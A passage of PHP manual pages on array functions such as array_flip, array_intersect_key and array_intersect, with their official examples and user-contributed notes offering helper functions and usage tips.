function array_clean ($input, $delete = false, $caseSensitive = false)
    {
    $i = 0;
    while($i < count($input))
        {
        if($delete)
            {
            if($caseSensitive)
                {
                if(!strstr($input[$i] ,$delete))
                    {
                    $return[] = $input[$i];
                    }
                }
                else
                {
                if(!stristr($input[$i], $delete))
                    {
                    $return[] = $input[$i];
                    }
                }
            }
            else
            {
            if(!empty($input[$i]))
                {
                $return[] = $input[$i];
                }
            }
        $i++;
        }
    return $return;
    }
?>

array array_clean(array input [, string needle [, boolean case sensitive]])

if needle is left empty, the function will delete the array members that have no value (this means if it's empty).
NOTE: It rebuilds the array from scratch, so keys begin with 0, like you would create a new array.

Example:
$array = array("John", "Doe", "Macy");
$array = array_clean($array, "doe", false);

print_r($array);
would return:
array
(
    [0] => John
    [1] => Macy
)

Hopes this helps someone :-)
skd2 at ece dot msstate dot edu 14-May-2003 03:24
The following function modifies the supplied array recursively so that filtering is performed on multidimentional arrays as well, while preserving keys.

<?php
function array_cleanse(&$arr){

$temp = array();
reset($arr);
if(count($arr) == 0) return "";

foreach($arr as $key=>$val):

 (is_array($val))? array_cleanse($val) : NULL;
 ($val)? $temp[$key] = $val : NULL;

endforeach;

$arr = $temp;
reset($arr);
}
?>

$arr1 = array('a'=>20,'b'=>array(''),'c'=>array(1,0,2),'d'=>0);
array_cleanse($arr1);
$arr1 will be array('a'=>20,'c'=>array(1,2))

array_filter may not be used as it does not modify the array within itself.
11-Feb-2003 02:47
You cannot do this:
$non_empty_array = array_filter($original_array, 'empty');
Since empty() is not a function but a language construct. (http://www.php.net/manual/en/function.empty.php)
ajohnson at speakeasy dot org 27-Sep-2002 12:42
be careful with the above function "array_delete"'s use of the stristr function, it could be slightly misleading. consider the following:

<?php
function array_delete($array, $filterforsubstring){
    $thisarray = array ();
    foreach($array as $value)
        if(stristr($value, $filterforsubstring)===false && strlen($value)>0)
            $thisarray[] = $value;
    return $thisarray;
}

function array_delete2($array, $filterforstring, $removeblanksflag=0){
    $thisarray = array ();
    foreach($array as $value)
        if(!(stristr($value, $filterforstring) && strlen($value)==strlen($filterforstring))
                && !(strlen($value)==0 && $removeblanksflag))
            $thisarray[] = $value;
    return $thisarray;
}

function array_delete3($array, $filterfor, $substringflag=0, $removeblanksflag=0){
    $thisarray = array ();
    foreach($array as $value)
        if(
            !(stristr($value, $filterfor)
                && ($substringflag || strlen($value)==strlen($filterfor))
            )
            && !(strlen($value)==0 && $removeblanksflag)
        )
            $thisarray[] = $value;
    return $thisarray;
}

$array1 = array ('the OtHeR thang','this', 'that', 'OtHer','', 9, 101, 'fifty', ' oTher', 'otHer ','','other','Other','','other blank things');

echo "<pre>array :\n";
print_r($array1);

$array2=array_delete($array1, "Other");

echo "array_delete(\$array1, \"Other\"):\n";
print_r($array2);

$array2=array_delete2($array1, "Other");

echo "array_delete2(\$array1, \"Other\"):\n";
print_r($array2);

$array2=array_delete2($array1, "Other",1);

echo "array_delete2(\$array1, \"Other\",1):\n";
print_r($array2);

$array2=array_delete3($array1, "Other",1);

echo "array_delete3(\$array1, \"Other\",1):\n";
print_r($array2);

$array2=array_delete3($array1, "Other",0,1);

echo "array_delete3(\$array1, \"Other\",0,1):\n";
print_r($array2);
 ?>
ajohnson at speakeasy dot org 17-Aug-2002 01:04
I was looking for a function to delete values from an array and thought I had found it in array_filter(), however, I *didn't* want the keys to be preserved *and* I needed blank values cleaned out of the array as well. I came up with the following (with help from many of the above examples):

<?php
function array_delete($array, $filterfor){
  $thisarray = array ();
  foreach($array as $value)
    if(stristr($value, $filterfor)===false && strlen($value)>0)
      $thisarray[] = $value;
  return $thisarray;
}

$array1 = array ('OtHeR','this', 'that', 'Other','', 9, 101, 'fifty', 'other','','');

echo "<pre>array :\n";
print_r($array1);

$array2=array_delete($array1, "Other");

echo "filtered:\n";
print_r($array2);
?>
13-Jun-2002 04:14
I was looking for a function able to take some values out of an array iteratively, and found array_filter very useful although i had some trouble figuring out the proper syntax...

<?php
class someclass {
    var $current;

    /** this is our iterative function */
    function main ($variable,$array){
        if (end test){
            return true;
        }
        $variable= some treatment...
        if (in_array($variable, $array)){
             $this->current=something...($variable);
            // this is the not-well-documented part
            $array=$array_filter($array, array($this, "array_reduce");
        }
        $this->main($variable, $array);
    }

    /** this is the function used to filter */
    function reduce_list($var){
        return ($var!=$this->current);
    }
}
?>
sam,pointsystems,com 20-Feb-2002 05:12
Here's a good function to filter multidimensional arrays:

<?php
function array_filter_multi($input, $filter="", $keepMatches=true) {
        if (!is_array($input))
                return ($input==$filter xor $keepMatches==false) ? $input : false;
        while (list ($key,$value) = @each($input)){
                $res = array_filter_multi($value, $filter,$keepMatches);
                if ($res !== false)
                        $out[$key] = $res;
        }
        return $out;
}
?>

Default behavior is to remove blanks from a multi-dimensional array, but you can filter out any string (arg #2) with a positive or negative filter (arg #3).
array_fill
array_flip
Array Functions


Exchanges all keys with their associated values in an array

array_filter
array_intersect_assoc
Array Functions
PHP Manual

array_flip

(PHP 4, PHP 5)

array_flip — Exchanges all keys with their associated values in an array

Description

array array_flip ( array $trans )

array_flip() returns an array in flip order, i.e. keys from trans become values and values from trans become keys.

Note that the values of trans need to be valid keys, i.e. they need to be either integer or string. A warning will be emitted if a value has the wrong type, and the key/value pair in question will not be flipped.

If a value has several occurrences, the latest key will be used as its values, and all others will be lost.

Parameters

trans

An array of key/value pairs to be flipped.

Return Values

Returns the flipped array on success and NULL on failure.

Examples

Example #1 array_flip() example

<?php
$trans = array_flip($trans);
$original = strtr($str, $trans);
?>

Example #2 array_flip() example : collision

<?php
$trans = array("a" => 1, "b" => 1, "c" => 2);
$trans = array_flip($trans);
print_r($trans);
?>

now $trans is:

Array
(
    [1] => b
    [2] => c
)

See Also

  • array_values() - Return all the values of an array
  • array_keys() - Return all the keys or a subset of the keys of an array
  • array_reverse() - Return an array with elements in reverse order

User Contributed Notes

kjensen at iaff106 dot com 06-Jan-2012 10:23
I needed a way to flip a multidimensional array and came up with this function to accomplish the task.  I hope it helps someone else.

<?php
function multi_array_flip($arrayIn, $DesiredKey, $DesiredKey2=false, $OrigKeyName=false) {
$ArrayOut=array();
foreach ($arrayIn as $Key=>$Value)
    {
        // If there is an original key that need to be preserved as data in the new array then do that if requested ($OrigKeyName=true)
        if ($OrigKeyName) $Value[$OrigKeyName]=$Key;
        // Require a string value in the data part of the array that is keyed to $DesiredKey
        if (!is_string($Value[$DesiredKey])) return false;

        // If $DesiredKey2 was specified then assume a multidimensional array is desired and build it
        if (is_string($DesiredKey2))
        {
            // Require a string value in the data part of the array that is keyed to $DesiredKey2
            if (!is_string($Value[$DesiredKey2])) return false;

            // Build NEW multidimensional array
            $ArrayOut[$Value[$DesiredKey]][$Value[$DesiredKey2]]=$Value;
        }

            // Build NEW single dimention array
        else $ArrayOut[$Value[$DesiredKey]][]=$Value;
    }
return $ArrayOut;
}//end multi_array_flip
?>
Final 16-Dec-2011 04:16
I find this function vey useful when you have a big array and you want to know if a given value is in the array. in_array in fact becomes quite slow in such a case, but you can flip the big array and then use isset to obtain the same result in a much faster way.
h3x 12-Sep-2010 01:11
this function can be used to remove null elements form an array:

<?php
$ar = array(null,'1','2',null,'3',null);
print_r($ar);
/*
result:
Array
(
    [0] =>
    [1] => 1
    [2] => 2
    [3] =>
    [4] => 3
    [5] =>
)
*/

print_r(array_flip(array_flip($ar)));
/*
result:
Array
(
    [1] => 1
    [2] => 2
    [4] => 3
)
*/
?>
Hayley Watson 20-Mar-2009 02:22
Finding the longest string in an array?

<?php
function longest_string_in_array($array)
{
    $mapping = array_combine($array, array_map('strlen', $array));
    return array_keys($mapping, max($mapping));
}
?>

Differences are obvious: returns an array of [i]all[/i] of the longest strings, instead of just picking one arbitrarily. Doesn't do the stripslashing or magic stuff because that's another job for for another function.
dan at aoindustries dot com 07-Mar-2009 12:48
From an algorithmic efficiency standpoint, building an entire array of lengths to then sort to only retrieve the longest value is unnecessary work.  The following should be O(n) instead of O(n log n).  It could also be:

<?php
function get_longest_value($array) {
    // Some don't like to initialize, I do
    $longest = NULL;
    $longestLen = -1;
    foreach ($array $value) {
        $len = strlen($value);
        if($len>$longestLen) {
            $longest = $value;
            $longestLen = $len;
        }
    }
    $longest = str_replace("\r\n", "\n", $longest);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
corz at corz dot org 08-Dec-2008 01:36
<?php
/*
    Fun function to return the longest physical *value* from an array.

    Culled from a small script designed to capture the longest $_POST variable,
    usually the textarea, which would then be dumped to a "emergency post dump file".

    corz at corz dot org
*/

$array = array("input" => "submit", "textarea" => "Some long spiel of text\r\na textarea, probably",
                        "another-input" => "make me longer", "and" => "another", "etc" => "etc.");

echo '<!DOCTYPE HTML SYSTEM><html><head><title>long</title></head><body><pre>Longest value: ',
                                            get_longest_value($array),'</pre></body></html>';

function get_longest_value($array) {
    foreach ($array as $key => $value) {
        $lengths[$key] = strlen($value);
    }
    asort($lengths);
    $lengths = array_flip($lengths);
    $longest = str_replace("\r\n", "\n", $array[array_pop($lengths)]);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
pinkgothic at gmail dot com 26-Apr-2007 01:37
In case anyone is wondering how array_flip() treats empty arrays:

<?php
print_r(array_flip(array()));
?>

results in:

Array
(
)

I wanted to know if it would return false and/or even chuck out an error if there were no key-value pairs to flip, despite being non-intuitive if that were the case. But (of course) everything works as expected. Just a head's up for the paranoid.
snaury at narod dot ru 23-Nov-2004 11:21
When you do array_flip, it takes the last key accurence for each value, but be aware that keys order in flipped array will be in the order, values were first seen in original array. For example, array:

    [1] => 1
    [2] => 2
    [3] => 3
    [4] => 3
    [5] => 2
    [6] => 1
    [7] => 1
    [8] => 3
    [9] => 3

After flipping will become:
(first seen value -> first key)

    [1] => 7
    [2] => 5
    [3] => 9

And not anything like this:
(last seen value -> last key)

    [2] => 5
    [1] => 7
    [3] => 9

In my application I needed to find five most recently commented entries. I had a sorted comment-id => entry-id array, and what popped in my mind is just do array_flip($array), and I thought I now would have last five entries in the array as most recently commented entry => comment pairs. In fact it wasn't (see above, as it is the order of values used). To achieve what I need I came up with the following (in case someone will need to do something like that):

First, we need a way to flip an array, taking the first encountered key for each of values in array. You can do it with:

  $array = array_flip(array_unique($array));

Well, and to achieve that "last comments" effect, just do:

  $array = array_reverse($array, true);
  $array = array_flip(array_unique($array));
  $array = array_reverse($array, true);

In the example from the very beginning array will become:

    [2] => 5
    [1] => 7
    [3] => 9

Just what I (and maybe you?) need. =^_^=
znailz at yahoo dot com 05-Aug-2003 02:42
I know a lot of people want a function to remove a key by value from an array. I saw solutions that iterate(!) though the whole array comparing value by value and then unsetting that value's key. PHP has a built-in function for pretty much everything (heard it will even cook you breakfast), so if you think "wouldn't it be cool if PHP had a function to do that...", odds are it already has. Check out this example. It takes a value, gets all keys for that value if it has duplicates, unsets them all, and returns a reindexed array.

<?php
$arr = array(11,12,13,12);        // sample array
$arr = array_flip($arr);
unset($arr[12]);
$arr = array(array_keys($arr));
?>

$arr contains:

Array
(
    [0] => Array
        (
            [0] => 11
            [1] => 13
        )
?>

)
array_filter
array_intersect_assoc
Array Functions


Computes the intersection of arrays with additional index check

array_flip
array_intersect_key
Array Functions
PHP Manual

array_intersect_assoc

(PHP 4 >= 4.3.0, PHP 5)

array_intersect_assoc — Computes the intersection of arrays with additional index check

Description

array array_intersect_assoc ( array $array1 , array $array2 [, array $ ... ] )

array_intersect_assoc() returns an array containing all the values of array1 that are present in all the arguments. Note that the keys are used in the comparison unlike in array_intersect().

Parameters

array1

The array with master values to check.

array2

An array to compare values against.

array

A variable list of arrays to compare.

Return Values

Returns an associative array containing all the values in array1 that are present in all of the arguments.

Examples

Example #1 array_intersect_assoc() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "b" => "yellow", "blue", "red");
$result_array = array_intersect_assoc($array1, $array2);
print_r($result_array);
?>

The above example will output:

Array
(
    [a] => green
)

In our example you see that only the pair "a" => "green" is present in both arrays and thus is returned. The value "red" is not returned because in $array1 its key is 0 while the key of "red" in $array2 is 1, and the key "b" is not returned because its values are different in each array.

The two values from the key => value pairs are considered equal only if (string) $elem1 === (string) $elem2 . In other words a strict type check is executed so the string representation must be the same.

See Also

  • array_intersect() - Computes the intersection of arrays
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions
  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check

User Contributed Notes

amoo_miki at yahoo dot com 17-Jul-2009 12:58
A method to find intersection of two or more arrays when comparison is based only on keys

array_uintersect_assoc($array1  , $array2  [, $ array...  ], create_function(null, "return 0;"));

This returns an associative array containing all the keys in array1 that are present in all of the arguments.
asharm4 at ilstu dot edu 20-Apr-2006 09:20
A function to find intersection of two arrays when comparison is based on only 1 key

function array_common($array1,$array2,$compareString) {
   if (!is_array($array1) || !is_array($array2)) {
       return false;
   }
   $arrResult = array();
   foreach ($array1 as $arrInsideArray1) {
       foreach ($array2 as $arrInsideArray2) {
           $found=false;
           if ($arrInsideArray1[$compareString]==$arrInsideArray2[$compareString]) {
               $found=true;
               break;
           }
       }
       if ($found) {
           array_push($arrResult,$arrInsideArray1);
       }

   }
   return $arrResult;
}
StR: str at strgt dot cjb dot net 13-Oct-2005 05:34
To find the keys that are in 2 arrays, without caring of the values:

This is a function i needed, and it also returns the values of the first array

<?php
function array_key_intersect(&$a, &$b) {
  $array = array();
  while (list($key,$value) = each($a)) {
    if (isset($b[$key]))
      $array[$key] = $value;
  }
  return $array;
}
?>
vandor at progressive dot hu 14-Dec-2004 11:26
# ket tomb kulcs alapu metszetet szamitja ki, az erteken is ellenorzest vegez
#
# calculating (key base) intersection of arrays (value are checked)
# use: $result_array = array_intersect_assoc($a1, $a2, $a3,..);
#
##
# original code by [jochem at iamjochem dawt com] : array_diff_keys()

<?php
function array_intersect_assoc() {

    $args = func_get_args();
    $res = $args[0];

    for ($i=1;$i<count($args);$i++) {
        if (!is_array($args[$i])) {continue;}

        foreach ($res as $key => $data) {
            if ( (!array_key_exists($key, $args[$i])) || ( (isset($args[$i][$key])) && ($args[$i][$key] !== $res[$key]) ) ) {
                unset($res[$key]);
            }
        }
    }

    return $res;
}

?>

<?php
$array1 = array("a"=>"green", "b"=>"brown", "c"=>"blue", "red");
$array2 = array("a"=>"green", "b"=>"yellow", "c"=>"yellow", "red");
$a = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow');
$b = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow', 'e'=>'yellow');

$result_array = array_intersect_assoc($a, $b, $array1, $array2);
?>

$args array will look like:

(
    0 =>
        (
            a => green
            b => brown
            c => yellow
        )

    1 =>
        (
            a => green
            b => brown
            c => yellow
            e => yellow
        )

    2 =>
        (
            a => green
            b => brown
            c => blue
            0 => red
        )

    3 =>
        (
            a => green
            b => yellow
            c => yellow
            0 => red
        )

)

$result_array will look like:

(
    a => green
)
nleippe at integr8ted dot com 11-Feb-2004 04:46
A combination of the two functions [array_intersect() and array_intersect_assoc()] in order to obtain the intersection of two multidimensional arrays.

<?php
function array_intersect_assoc_recursive(&$arr1, &$arr2) {
    if (!is_array($arr1) || !is_array($arr2)) {
        return $arr1 == $arr2; // or === for strict type
    }
    $commonkeys = array_intersect(array_keys($arr1), array_keys($arr2));
    $ret = array();
    foreach ($commonkeys as $key) {
        $ret[$key] =& array_intersect_assoc_recursive($arr1[$key], $arr2[$key]);
    }
    return $ret;
}
?>
array_flip
array_intersect_key
Array Functions


Computes the intersection of arrays using keys for comparison

array_intersect_assoc
array_intersect_uassoc
Array Functions
PHP Manual

array_intersect_key

(PHP 5 >= 5.1.0)

array_intersect_key — Computes the intersection of arrays using keys for comparison

Description

array array_intersect_key ( array $array1 , array $array2 [, array $ ... ] )

array_intersect_key() returns an array containing all the entries of array1 which have keys that are present in all the arguments.

Parameters

array1

The array with master keys to check.

array2

An array to compare keys against.

array

A variable list of arrays to compare.

Return Values

Returns an associative array containing all the entries of array1 which have keys that are present in all arguments.

Examples

Example #1 array_intersect_key() example

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_intersect_key($array1, $array2));
?>

The above example will output:

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

In our example you see that only the keys 'blue' and 'green' are present in both arrays and thus returned. Also notice that the values for the keys 'blue' and 'green' differ between the two arrays. A match still occurs because only the keys are checked. The values returned are those of array1.

The two keys from the key => value pairs are considered equal only if (string) $key1 === (string) $key2 . In other words a strict type check is executed so the string representation must be the same.

See Also

  • array_diff() - Computes the difference of arrays
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_diff_key() - Computes the difference of arrays using keys for comparison
  • array_diff_ukey() - Computes the difference of arrays using a callback function on the keys for comparison
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_ukey() - Computes the intersection of arrays using a callback function on the keys for comparison

User Contributed Notes

pgl at yoyo dot org 18-Jul-2011 08:01
Note that the order of the keys in the returned array is the same as the order of the keys in the source array. eg:

<?php
$array = array(
    'two'   => 'a',
    'three' => 'b',
    'one'   => 'c',
    );

$keyswant = array(
    'one'       => '',
    'three'     => '',
    );

print_r(array_intersect_key($array, $keyswant));

?>

Shows:

Array
(
    [three] => b
    [one] => c
)
chrisbloom7 at gmail dot com 11-Nov-2009 10:23
Regarding php at keithtylerdotcom solution to emulate

<?php
$z = someFuncReturningAnArray()['some_key'];
?>

His recommended solution will still return an array. To get the value of a single key in an array returned by a function, simply add implode() to the recipe:

<?php
function someFuncReturningAnArray() {
  return array(
    'a' => 'b',
    'c' => 'd',
    'e' => 'f',
    'g' => 'h',
    'i' => 'j'
  );
}

//traditional way
$temp = someFuncReturningAnArray();
$b = $temp['a'];
echo print_r($b, 1) . "\n----------\n";

//keithtylerdotcom one-line method
$b = array_intersect_key(someFuncReturningAnArray(), array('a'=>''));
echo print_r($b, 1) . "\n----------\n";

//better one line method
$b = implode('', array_intersect_key(someFuncReturningAnArray(), array('a'=>'')));
echo print_r($b, 1) . "\n----------\n";
?>
markus dot kappe at dix dot at 24-Sep-2009 04:43
<?php
    /**
     * calculates intersection of two arrays like array_intersect_key but recursive
     *
     * @param  array/mixed  master array
     * @param  array        array that has the keys which should be kept in the master array
     * @return array/mixed  cleand master array
     */
    function myIntersect($master, $mask) {
        if (!is_array($master)) { return $master; }
        foreach ($master as $k=>$v) {
            if (!isset($mask[$k])) { unset ($master[$k]); continue; } // remove value from $master if the key is not present in $mask
            if (is_array($mask[$k])) { $master[$k] = $this->myIntersect($master[$k], $mask[$k]); } // recurse when mask is an array
            // else simply keep value
        }
        return $master;
    }
?>
pdemaziere at gmail dot com 23-Feb-2009 07:52
Just a simple script if you want to use one array, which contains only zeros and ones, as mask for another one (both arrays must have the same size of course). $outcome is an array that contains only those values from $source where $mask is equal to 1.

<?php
$outcome = array_values(array_intersect_key( array_values($source), array_filter(array_values($mask)) ));
?>

PS: the array_values() function is necessary to ensure that both arrays have the same numbering/keys, otherwise your masking does not behave as you expect.

Enjoy!
CBWhiz at gmail dot com 04-Jan-2008 02:04
I have found the following helpful:
<?PHP
function array_merge_default($default, $data) {
        $intersect = array_intersect_key($data, $default); //Get data for which a default exists
        $diff = array_diff_key($default, $data); //Get defaults which are not present in data
        return $diff + $intersect; //Arrays have different keys, return the union of the two
}
?>
It's use is like both of the functions it uses, but keeps defaults and _only_ defaults. It's designed for key arrays, and i'm not sure how it will work on numeric indexed arrays.

Example:
<?PHP
$default = array(
 "one" => 1,
 "two" => 2
);
$untrusted = array(
 "one" => 42,
 "three" => 3
);
var_dump(array_merge_default($default, $untrusted));

array(2) {
  ["two"]=>
  int(2)
  ["one"]=>
  int(42)
}

?>
Rod Byrnes 05-May-2007 09:10
Here is a faster version than those shown below, with optimisation for the case when only two arrays are passed. In my tests with a 10000 item first array and a 5000 item second array (run 20 times) this function ran in 1.89 seconds compared with 2.66 for the version posted by dak. For a three array case, same as above but with the third array containing 3333 values, the timing is 3.25 for this version compared with 3.7 for dak's version.

<?php
if (!function_exists('array_intersect_key'))
{
  function array_intersect_key($isec, $keys)
  {
    $argc = func_num_args();
    if ($argc > 2)
    {
      for ($i = 1; !empty($isec) && $i < $argc; $i++)
      {
        $arr = func_get_arg($i);
        foreach (array_keys($isec) as $key)
        {
          if (!isset($arr[$key]))
          {
            unset($isec[$key]);
          }
        }
      }
      return $isec;
    }
    else
    {
      $res = array();
      foreach (array_keys($isec) as $key)
      {
        if (isset($keys[$key]))
        {
          $res[$key] = $isec[$key];
        }
      }
      return $res;
    }
  }
}
?>
17-Jul-2006 05:31
Here it is a more obvious way to implement the function:

if (!function_exists('array_intersect_key')) {
    function array_intersect_key()
    {
        $arrs = func_get_args();
        $result = array_shift($arrs);
        foreach ($arrs as $array) {
            foreach ($result as $key => $v) {
                if (!array_key_exists($key, $array)) {
                    unset($result[$key]);
                }
            }
        }
        return $result;
   }
}
Anton Backer 30-Mar-2006 11:49
Jesse: no, array_intersect_key does not accomplish the same thing as what you posted:

array_flip (array_intersect (array_flip ($a), array_flip ($b)))

because when the array is flipped, values become keys. having duplicate values is not a problem, but having duplicate keys is. array_flip resolves it by keeping only one of the duplicates and discarding the rest. by the time you start intersecting, you've already lost information.
dak 23-Jan-2006 08:31
A more efficient (and, I think, simpler) compatibility implementation:

<?php
if (!function_exists('array_intersect_key'))
{
    function array_intersect_key ($isec, $arr2)
    {
        $argc = func_num_args();

        for ($i = 1; !empty($isec) && $i < $argc; $i++)
        {
             $arr = func_get_arg($i);

             foreach ($isec as $k =>& $v)
                 if (!isset($arr[$k]))
                     unset($isec[$k]);
        }

        return $isec;
    }
}
?>
Silvio Ginter 23-Sep-2005 05:17
Based on the code posted by gaylord dot aulke at 100days.de
i wrote this one. This should implement this function in all versions equal or greater than PHP 4.0

function array_intersect_key($arr1, $arr2) {
    $res = array();
    foreach($arr1 as $key=>$value) {
        $push = true;
        for ($i = 1; $i < func_num_args(); $i++) {
            $actArray = func_get_arg($i);
            if (gettype($actArray) != 'array') return false;
            if (!array_key_exists($key, $actArray)) $push = false;
        }
        if ($push) $res[$key] = $arr1[$key];
    }
    return $res;
}
gaylord dot aulke at 100days.de 04-Jul-2005 04:04
I tried to use this function with PHP 5.0.4 under windows but the function does not seem to be implemented.
(Fatal error: Call to undefined function array_intersect_key())

This works as a workaround for 2 arrays at least:

function array_intersect_key($arr1, $arr2) {
  $res = array();
  foreach($arr1 as $key=>$value) {
    if(array_key_exists($key, $arr2)) $res[$key] = $arr1[$key];
  }
  return $res;
}
aidan at php dot net 29-May-2005 08:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
array_intersect_assoc
array_intersect_uassoc
Array Functions


Computes the intersection of arrays with additional index check, compares indexes by a callback function

array_intersect_key
array_intersect_ukey
Array Functions
PHP Manual

array_intersect_uassoc

(PHP 5)

array_intersect_uassoc — Computes the intersection of arrays with additional index check, compares indexes by a callback function

Description

array array_intersect_uassoc ( array $array1 , array $array2 [, array $ ... ], callback $key_compare_func )

array_intersect_uassoc() returns an array containing all the values of array1 that are present in all the arguments. Note that the keys are used in the comparison unlike in array_intersect().

The index comparison is done by a user supplied callback function. It must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Parameters

array1

Initial array for comparison of the arrays.

array2

First array to compare keys against.

array

Variable list of array arguments to compare values against.

key_compare_func

User supplied callback function to do the comparison.

Return Values

Returns the values of array1 whose values exist in all of the arguments.

Examples

Example #1 array_intersect_uassoc() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_intersect_uassoc($array1, $array2, "strcasecmp"));
?>

The above example will output:

Array
(
    [b] => brown
)

See Also

  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions
  • array_intersect_key() - Computes the intersection of arrays using keys for comparison
  • array_intersect_ukey() - Computes the intersection of arrays using a callback function on the keys for comparison

User Contributed Notes

There are no user contributed notes for this page.
array_intersect_key
array_intersect_ukey
Array Functions


Computes the intersection of arrays using a callback function on the keys for comparison

array_intersect_uassoc
array_intersect
Array Functions
PHP Manual

array_intersect_ukey

(PHP 5 >= 5.1.0)

array_intersect_ukey — Computes the intersection of arrays using a callback function on the keys for comparison

Description

array array_intersect_ukey ( array $array1 , array $array2 [, array $... ], callback $key_compare_func )

array_intersect_ukey() returns an array containing all the values of array1 which have matching keys that are present in all the arguments.

This comparison is done by a user supplied callback function. It must return an integer less than, equal to, or greater than zero if the first key is considered to be respectively less than, equal to, or greater than the second.

Parameters

array1

Initial array for comparison of the arrays.

array2

First array to compare keys against.

array

Variable list of array arguments to compare keys against.

key_compare_func

User supplied callback function to do the comparison.

Return Values

Returns the values of array1 whose keys exist in all the arguments.

Examples

Example #1 array_intersect_ukey() example

<?php
function key_compare_func($key1, $key2)
{
    if ($key1 == $key2)
        return 0;
    else if ($key1 > $key2)
        return 1;
    else
        return -1;
}

$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_intersect_ukey($array1, $array2, 'key_compare_func'));
?>

The above example will output:

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

In our example you see that only the keys 'blue' and 'green' are present in both arrays and thus returned. Also notice that the values for the keys 'blue' and 'green' differ between the two arrays. A match still occurs because only the keys are checked. The values returned are those of array1.

See Also

  • array_diff() - Computes the difference of arrays
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_diff_key() - Computes the difference of arrays using keys for comparison
  • array_diff_ukey() - Computes the difference of arrays using a callback function on the keys for comparison
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_key() - Computes the intersection of arrays using keys for comparison

User Contributed Notes

Fred 25-Aug-2010 02:08
Using PHP Version 5.2.9-2 on Win 32

For those wondering what happens with numeric keys, here's a short example that might save you time :

<?php
$a=array(1=>'a',2=>'b',3=>'c');
$b=array(2=>'z',3=>'c',4=>'d');
$c=array_intersect_key($a,$b);
print_r($c);
?>

Will output
Array
(
    [2] => b
    [3] => c
)

It works fine, if values are different, the first array's ones are retained.
array_intersect_uassoc
array_intersect
Array Functions


Computes the intersection of arrays

array_intersect_ukey
array_key_exists
Array Functions
PHP Manual

array_intersect

(PHP 4 >= 4.0.1, PHP 5)

array_intersect — Computes the intersection of arrays

Description

array array_intersect ( array $array1 , array $array2 [, array $ ... ] )

array_intersect() returns an array containing all the values of array1 that are present in all the arguments. Note that keys are preserved.

Parameters

array1

The array with master values to check.

array2

An array to compare values against.

array

A variable list of arrays to compare.

Return Values

Returns an array containing all of the values in array1 whose values exist in all of the parameters.

Examples

Example #1 array_intersect() example

<?php
$array1 = array("a" => "green", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_intersect($array1, $array2);
print_r($result);
?>

The above example will output:

Array
(
    [a] => green
    [0] => red
)

Notes

Note: Two elements are considered equal if and only if (string) $elem1 === (string) $elem2. In words: when the string representation is the same.

See Also

  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check

User Contributed Notes

dml at nm dot ru 20-May-2011 05:06
The built-in function returns wrong result when input arrays have duplicate values.
Here is a code that works correctly:

<?php
function array_intersect_fixed($array1, $array2) {
    $result = array();
    foreach ($array1 as $val) {
      if (($key = array_search($val, $array2, TRUE))!==false) {
         $result[] = $val;
         unset($array2[$key]);
      }
    }
    return $result;
}
?>
faharanik 30-Jun-2010 07:30
Here's my approach to intersection returning only the values present in all the arrays.
Note that each array must not contain duplicate values.
I don't know how effective it actually is, but perhaps it could help.

<?php
// $arrays - Array of arrays to intersect.

function calculate_intersection($arrays)
    {
    $intersection = Array();

    for($checked_item = 0; $checked_item < count($arrays[0]); $checked_item++)
        {
        $occurrence = 1;

        for($compared_array = 1; $compared_array < count($arrays); $compared_array++)
            {
            for($compared_item = 0; $compared_item < count($arrays[$compared_array]); $compared_item++)
                {
                if($arrays[0][$checked_item] == $arrays[$compared_array][$compared_item])
                    {
                    $occurrence++;

